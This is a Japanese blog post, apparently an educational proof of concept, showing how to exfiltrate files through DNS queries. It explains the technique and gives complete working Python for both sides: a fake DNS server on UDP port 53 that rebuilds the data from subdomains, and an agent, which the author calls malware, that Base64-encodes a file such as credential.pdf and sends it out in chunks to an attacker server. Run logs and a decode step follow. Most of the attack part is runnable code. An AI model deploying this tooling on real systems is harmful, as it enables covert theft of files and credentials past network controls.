DNS Data Exfiltrationを試す

DNS Data Exfiltration の仕組みを実際に通信をプログラミングしながら試し、検証してみたいと思います。

今回使用するサーバーサイド、エージェント、サンプルファイルは全てこちらのリポジトリにあります。

https://github.com/yokohama/dns_tunneling/tree/main

DNS Data Exfiltration

仕組み

クライアント側で活動するマルウェアが送信するデータをDNSプロトコルを悪用してデータを流出させる方法です。だいたいどこの組織も、内部から外部へのDNS通信はファイアーウォールなどでも許可しているので、この通信(データ流出)は防ぎづらいのが特徴です。

  1. 攻撃者はhogehoge.comなどのドメインを取得し、ネームサーバーに登録します。その際、hogehoge.comのAレコードは、攻撃者が用意した偽のDNSサーバーのIPを指定します。
  2. 攻撃者は、ターゲット組織のファイアウォールの背後(LAN内)のコンピュータにマルウェアを仕込みます。このマルウェアは感染したPC環境のDNSリゾルバを使用し、正規(通常)のDNSサーバーとhogehoge.comの名前解決のDNS通信をします。通信の中には流出させたいデータを混ぜます。
  3. DNSリゾルバは、hogehoge.comのIPアドレス(攻撃者が用意した偽のDNSサーバー)にクエリをルーティングします。これにより、DNSリゾルバを通して、被害者と攻撃者との間に接続が確立されます。攻撃者と被害者との間に直接の接続はないため、攻撃者のコンピュータの追跡はより困難になります。

データ流出の方法

サブドメインを使います。

0KZW5kc3RyZWFtDWVuZG9iag1zdGFydHhyZWYNCjExNg0KJSVF.hogehoge.com
--------------------------------------------------
 この部分が流出させたいデータ

しかし、ドメインにはいくつかの仕様があり多少考慮が必要です。

  • ドメインのキャラクタ数は全体で255文字
  • サブドメインに使用できるキャラクタ数は63文字

なので、大きなデータの場合、データを分割してサブドメインとして送信して、攻撃者側のプログラムで組み立てる必要があります。

また、送信するデータ(サブドメイン)も、テキストで表す必要があるため、元のデータがPDFの様なバイナリの場合は、16進数でテキストに変換してからBase64などで通信上壊れずに送信するなどの配慮も必要です。

POCの構成図

今回はDNS Data Exfiltration のPOCなので、正規DNSのAレコードの登録ははしおります。

マルウェア(エージェント)は、感染PCから直接偽DNSに直接、DNS名前解決要求をおこないます。

偽DNS

  • UDPポート53番で、エージェントからのDNSクエリーを待ち受けます。
  • 受信したDNSクエリーのサブドメインの部分を切り出し、一つのファイルに追記します。このファイルはエージェントが指定した感染PC上の1つのファイルに対応します。
  • 応答として、エージェントには乱数で発生させた適当なIPアドレスを返します。
  • エージェントからの1つのファイルに対しての全てのDNSクエリが終了すると、Base64でのファイルが偽DNSサーバー上に完全にコピーされます。

以下がそのコードとなります。

server/bin/mock_dns.py

#!/usr/bin/env python from scapy.all import *
import socket
import random

UDP_PORT = 53

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', UDP_PORT))

print(f"UDPポート{UDP_PORT}でリッスンを開始しました。")

while True:
raw_data, addr = sock.recvfrom(1024)

try:
    query = DNS(raw_data)

    if query.qr == 0 and query.qd:
      qname = query.qd.qname.decode()
      data_parts = qname.split('.')
      filename = data_parts[0]
      data = data_parts[1]
      print(f"{filename} : {data}")

      with open(f"tmp/{filename}", 'a') as file:
        file.write(data)

      response = DNS(id=query.id, 
        qr=1, 
        aa=1, 
        qd=query.qd, 
        an=DNSRR(
          rrname=qname, 
          ttl=10, 
          rdata=f"{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}"
        )
      )
      sock.sendto(bytes(response), addr)

    else:
      print(f"Query Error: {query}")

except Exception as e:
  print(f"Packet Error: {e}")

起動させます。

$ ./bin/mock_dns.py                                                                                                                                                                     
UDPポート53でリッスンを開始しました。

エージェント(マルウェア)

感染PC上にある流出させたいファイルは、「credential.pdf」で、中身は以下となります。

感染PC上で動くエージェントは以下の働きをします。

  • 引数に、「流出させたいファイルパス」、「偽DNSサーバーIPアドレス」、「名前解決したいドメイン(フェイクようなのでなんでもいい)」を取ります。
  • 指定されたファイルを16進数ダンプ=>Base64エンコード=>分割
  • 分割されたデータ分だけ、偽DNSに名前解決要求を行う。

以下がコードとなります。

#!/usr/bin/env python

import sys
import time
import random
import base64
import dns.query
import dns.message

if len(sys.argv) != 4:
  print("Usage: my_dnslib.py <file_path> <server_address> <qname>")
  sys.exit(1)


file_path = sys.argv[1]
server_address = sys.argv[2]
qname = sys.argv[3]

PREFIX_NUMBER = random.randint(0, 1000)
BASE64_FILEPATH = base64.b64encode(file_path.encode()).decode()


def read_file_as_hex(file_path):
  with open(file_path, 'rb') as file:
    content = file.read()
  return content.hex()


def convert_hex_to_base64(hex_str):
  bytes_data = bytes.fromhex(hex_str)
  base64_encoded = base64.b64encode(bytes_data)
  return base64_encoded.decode()


def process_in_chunks(data, chunk_size):
  for i in range(0, len(data), chunk_size):
    yield data[i:i+chunk_size]


def send_dns_request(sub_domain):
  query = dns.message.make_query(f"{PREFIX_NUMBER}_{BASE64_FILEPATH}.{sub_domain}." + qname, 'A')

  try:
    dns.query.udp(query, server_address)
    print(sub_domain)
  except Exception as e:
    print(f"Error: {e}")


hex_data = read_file_as_hex(file_path)
base64_data = convert_hex_to_base64(hex_data)
for chunk in process_in_chunks(base64_data, 50):
  send_dns_request(chunk)
  time.sleep(0.1)

実行します。

./bin/dns_agent.py ./datafile/credential.pdf 192.168.1.31 example.com
JVBERi0xLjYNJeLjz9MNCjIyIDAgb2JqDTw8L0xpbmVhcml6ZW
QgMS9MIDEzMzU3OS9PIDI0L0UgMTI4MzA3L04gMS9UIDEzMzI3
My9IIFsgNDc0IDE2Nl0+Pg1lbmRvYmoNICAgICAgICAgICAgIC
AgDQozMiAwIG9iag08PC9EZWNvZGVQYXJtczw8L0NvbHVtbnMg
NS9QcmVkaWN0b3IgMTI+Pi9GaWx0ZXIvRmxhdGVEZWNvZGUvSU
RbPDJGMTQ4MUNBRTg4OTI0NDk4RDNEQjU0NTkyNkQ5MDg0PjxD
NjBBN0I3Q0ZDMDEyRTQ1QUJFN0YzQzFFNzZCMUFFQT5dL0luZG
V4WzIyIDE5XS9JbmZvIDIxIDAgUi9MZW5ndGggNzEvUHJldiAx
(省略)

そうすると、上記の様に分割されたサブドメインが順番にDNS通信として偽DNSに送られます。

53番ポートで待ち受けている偽DNS側では以下の様に表示されて、受信されていることの確認ができます。

<ファイルID>_<ファイル名(base64)> : <分割されたデータ>の構成になっています。

/bin/mock_dns.py                                                                                                                                                                     
UDPポート53でリッスンを開始しました。                                                                                                                                                        
272_Li9kYXRhZmlsZS9jcmVkZW50aWFsLnBkZg== : JVBERi0xLjYNJeLjz9MNCjIyIDAgb2JqDTw8L0xpbmVhcml6ZW                                                                                                
272_Li9kYXRhZmlsZS9jcmVkZW50aWFsLnBkZg== : QgMS9MIDEzMzU3OS9PIDI0L0UgMTI4MzA3L04gMS9UIDEzMzI3                                                                                                
272_Li9kYXRhZmlsZS9jcmVkZW50aWFsLnBkZg== : My9IIFsgNDc0IDE2Nl0+Pg1lbmRvYmoNICAgICAgICAgICAgIC                                                                                                
272_Li9kYXRhZmlsZS9jcmVkZW50aWFsLnBkZg== : AgDQozMiAwIG9iag08PC9EZWNvZGVQYXJtczw8L0NvbHVtbnMg                                                                                                
272_Li9kYXRhZmlsZS9jcmVkZW50aWFsLnBkZg== : NS9QcmVkaWN0b3IgMTI+Pi9GaWx0ZXIvRmxhdGVEZWNvZGUvSU                                                                                                
272_Li9kYXRhZmlsZS9jcmVkZW50aWFsLnBkZg== : RbPDJGMTQ4MUNBRTg4OTI0NDk4RDNEQjU0NTkyNkQ5MDg0PjxD

また、通信の状況をwiresharkで見ると以下のようになり、example.comのサブドメインを名前解決要求し、適当なIPアドレスを返していることがわかります。

デコード

エージェントからの全ての通信が終了したら、偽DNSサーバー側で偽DNSサーバープログラムを停止します。

偽DNSサーバー側の、tmpフォルダの中に、`445_Li9kYXRhZmlsZS9jcmVkZW50aWFsLnBkZg==` の様なファイルが作成されています。

以下のコマンドを使用してファイルを復元します。

./bin/decode.sh tmp/445_Li9kYXRhZmlsZS9jcmVkZW50aWFsLnBkZg==

そうすると、outfileフォルダの中に元のファイルが生成されます。

$ ls outfile                                                                                                                                                                            
445-.__datafile__credential.pdf

以下のコマンドで、中身を確認します。

open outfile/445-.__datafile__credential.pdf

ちゃんと転送できたことが確認できました。

今回使用したサーバーサイド、エージェント、サンプルファイルは全てこちらのリポジトリにあります。

https://github.com/yokohama/dns_tunneling/tree/main

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です